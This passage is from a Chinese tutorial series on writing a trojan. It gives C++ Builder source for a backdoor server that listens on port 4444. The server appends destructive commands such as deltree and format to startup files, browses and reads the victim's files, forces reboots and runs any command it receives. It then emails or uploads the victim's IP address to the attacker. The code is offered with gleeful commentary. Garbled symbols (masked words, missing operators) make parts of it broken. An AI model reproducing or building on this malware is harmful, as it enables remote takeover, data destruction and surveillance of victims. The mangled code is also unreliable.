接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本 *** 协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNM *** TP的25号端口也是 *** TP协议的专用端口。
再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:
{
FILE *fp=NULL;
char * content;
int times_of_try;
char TempFile[MAX_PATH];
file://定义了一堆待会儿要用到的变量
sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());
file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用
AnsiString temp=Socket-ReceiveText();
file://接收客户端(攻击者,也就是你自己)传来的数据
}
好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:
{
if(temp.SubString(0,9)=="edit conf")
file://如果接受到的字符串的前9个字符是“edit conf”
{
int number=temp.Length();
file://得到字符串的长度
int file_name=atoi((temp.SubString(11,1)).c_str());
file://将第11个字符转换成integer型,存入file_name变量
file://为什么要取第11个字符,因为第10个字符是空格字符
content=(temp.SubString(12,number-11)+'\n').c_str();
file://余下的字符串将被作为写入的内容写入目标文件
FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREADS_IWRITE);
chmod("c:\\config.sys",S_IREADS_IWRITE);
file://将两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定义计数器
while(fp==NULL)
{
file://如果指针是空
fp=fopen(filename,"a+");
file://如果文件不存在,创建之;如果存在,准备在其后添加
file://如果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://跳至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写完后关闭目标文件
Socket-SendText("Sucess");
file://然后发回“Success”的成功信息
}
}
上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:
{
else if(temp.SubString(0,3)=="dir")
{
file://如果前3个字符是“dir”
int Read_Num;
char * CR_LF="\n";
int attrib;
char *filename;
DIR *dir;
struct dirent *ent;
int number=temp.Length();
file://得到字符串的长度
AnsiString Dir_Name=temp.SubString(5,number-3);
file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名
if(Dir_Name=="")
{
file://如果目录名为空
Socket-SendText("Fail By Open DIR's Name");
file://返回“Fail By Open DIR's Name”信息
goto END;
file://跳到END
}
char * dirname;
dirname=Dir_Name.c_str();
if ((dir = opendir(dirname)) == NULL)
{
file://如果打开目录出错
Socket-SendText("Fail by your DIR's name!");
file://返回“Fail By Your DIR's Name”信息
goto END;
file://跳到END
}
times_of_try=0;
while(fp==NULL)
{
file://如果指针是NULL
fp=fopen(TempFile,"w+");
file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功(真有耐心!)
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
while ((ent = readdir(dir)) != NULL)
{
file://如果访问目标目录成功
if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
file://如果最后一个字符不是“\”,证明不是根目录
filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();
file://加上“\”字符后将指针指向目录流
else
filename=(AnsiString(dirname)+ent-d_name).c_str();
file://如果是根目录,则不用加“\”
attrib=_rtl_chmod(filename, 0);
file://得到目标文件的访问属性
if (attrib FA_RDON *** )
file://“”字符是比较前后两个变量,如果相同返回1,否则返回0
fwrite(" R",sizeof(char),3,fp);
file://将目标文件属性设为只读
else
fwrite(" ",sizeof(char),3,fp);
file://失败则写入空格
if (attrib FA_HIDDEN)
fwrite("H",sizeof(char),1,fp);
file://将目标文件属性设为隐藏
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_SYSTEM)
fwrite("S",sizeof(char),1,fp);
file://将目标文件属性设为系统
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_ARCH)
fwrite("A",sizeof(char),1,fp);
file://将目标文件属性设为普通
else
fwrite(" ",sizeof(char),1,fp);
file://失败则写入空格
if (attrib FA_DIREC)
fwrite(" DIR ",sizeof(char),9,fp);
file://将目标文件属性设为目录
else
fwrite(" ",sizeof(char),9,fp);
file://失败则写入空格
fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);
file://将目录名写入目标文件
fwrite(CR_LF,1,1,fp);
file://写入换行
}
fclose(fp);
file://关闭文件
closedir(dir);
file://关闭目录
FILE *fp1=NULL;
times_of_try=0;
while(fp1==NULL)
{
fp1=fopen(TempFile,"r");
file://打开Win369.bat准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已经试了100次了,仍未成功
Socket-SendText("Fail By Open File");
file://就发回“Fail By Open File”的错误信息
goto END;
file://并跳到END处
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义的一个空数组
Read_Num=fread(temp_content,1,300,fp1);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp1);
file://重复
};
Return_Text=Return_Text+temp_content;
变量加上刚才的300个字符
fclose(fp1);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text变量的内容
}
}
够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):
{
else if(temp.SubString(0,4)=="type")
{
file://如果前4个字符是“type”
int Read_Num;
int number=temp.Length();
AnsiString File_Name=temp.SubString(6,number-4);
file://将目标文件流存入File_Name变量中
times_of_try=0;
while(fp==NULL)
{
fp=fopen(File_Name.c_str(),"r");
file://打开目标文件准备读
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
file://如果已试了100次了
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的错误信息
goto END;
file://跳到END
}
}
AnsiString Return_Text="";
char temp_content[300];
for(int i=0;i300;i++) temp_content[i]='\0';
file://定义一个空数组
Read_Num=fread(temp_content,1,300,fp);
file://从目标文件中读入前300个字符
while(Read_Num==300)
{
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
for(int i=0;i300;i++) temp_content[i]='\0';
Read_Num=fread(temp_content,1,300,fp);
file://重复
};
Return_Text=Return_Text+temp_content;
的内容加上刚才的字符
fclose(fp);
file://关闭目标文件
Socket-SendText(Return_Text);
file://返回Return_Text的内容,即你查看文件的内容
}
}
咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):
{
else if(temp=="open")
{
file://如果收到的temp的内容是“open”
mciSendString("set cdaudio door open", NULL, 0, NULL);
file://就弹出光驱的托盘
}
else if(temp=="close")
{
file://如果收到的temp的内容是“close”
mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);
file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^
}
}
接着就是交换目标机的鼠标左右键,代码如下:
{
else if(temp=="swap")
{
SwapMouseButton(1);
file://交换鼠标左右键,简单吧?
}
}
然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:
{
else if(temp=="reboot")
{
file://如果收到的temp的内容是“temp”
DWORD dwVersion = GetVersion();
file://得到操作系统的版本号
if (dwVersion 0x80000000)
{
file://操作系统是WinNt,不是Win9x
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
file://定义变量
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);
这个函数的作用是打开一个进程的访问令牌
函数的作用是得到本进程的句柄
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);
的作用是修改进程的权限
tkp.PrivilegeCount = 1;
file://赋给本进程特权
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
的作用是通知Windows NT修改本进程的权利
ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);
file://强行退出WinNt并重启
}
else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
file://强行退出Win9x并重启
}
}
如果以上都不是,就让它在Dos窗口中执行传来的命令:
{
else
{
file://如果都不是
char * CR_TF="\n";
times_of_try=0;
while(fp==NULL)
{
fp=fopen(TempFile,"w+");
file://创建Win369.bat,如果已存在就覆盖
times_of_try=times_of_try+1;
file://计数器加1
if(times_of_try100)
{
Socket-SendText("Fail By Open File");
file://返回“Fail By Open File”的信息
goto END;
file://跳到END
}
}
fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
file://写入欲执行的命令
fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
file://写入换行符
fclose(fp);
file://关闭Win369.bat
system(TempFile);
file://执行Win369.bat
Socket-SendText("Success");
file://返回“Success”信息
}
}
你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的 *** 状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^
到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)
木马是如何编写的(三)
武汉 周侃
上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):
{
END:;
Socket-Close();
file://关闭服务
ServerSocket1-Active =true;
file://再次打开服务
if (NM *** TP1-Connected) NM *** TP1-Disconnect();
file://如果 *** TP服务器已连接则断开
NM *** TP1-Host = " *** tp.163.net";
file://选一个好用的 *** TP服务器,如163、263、sina和btamail
NM *** TP1-UserID = "";
file://你 *** TP的ID
try
{
NM *** TP1-Connect();
file://再次连接
}
catch(...)
{
goto NextTime;
file://跳到NextTime
}
NM *** TP1-PostMessage-FromAddress ="I don't know!";
file://受害者的Email地址
NM *** TP1-PostMessage-FromName = "Casualty";
file://受害者的名字
NM *** TP1-PostMessage-ToAddress-Text = "cros *** ow@8848.net";
file://将信发到我的邮箱,这一步很关键
NM *** TP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NM *** TP1-LocalIP ;
file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接
NM *** TP1-PostMessage-Subject = "Server Running Now!";
file://信的主题
NM *** TP1-SendMail();
file://发送!
return;
file://返回
NextTime:
NMFTP1-Host = "";
file://你的FTP服务器的地址
NMFTP1-UserID = "";
file://你的用户ID
NMFTP1-Port = 21;
端口号,一般为21
NMFTP1-Password = "";
file://你的FTP的密码
if(NMFTP1-Connected) NMFTP1-Disconnect();
file://如果已连接就断开
try
{
NMFTP1-Connect();
file://再连接
}
catch(...)
{
return;
file://返回
}
AnsiString SendToSite = "Server Running on: " + NMFTP1-RemoteIP;
file://受害者的IP地址
FILE * Upload;
Upload = fopen(NMFTP1-RemoteIP.c_str(),"w+");
file://创建一个新文件准备写,如果已存在就覆盖
fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
file://写入以上的SendToSite的内容
fclose(Upload);
file://写完后关闭此文件
NMFTP1-RemoveDir("public_html");
file://删除public_html目录
NMFTP1-Upload(NMFTP1-RemoteIP, NMFTP1-RemoteIP);
file://上传!
}
啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:
#include stdlib.h
#include dirent.h
#include fcntl.h
#include dos.h
#include sys\stat.h
#include winbase.h
#include stdio.h
#include process.h
#include io.h
#include mmsystem.h
至此,服务器端(Server)程序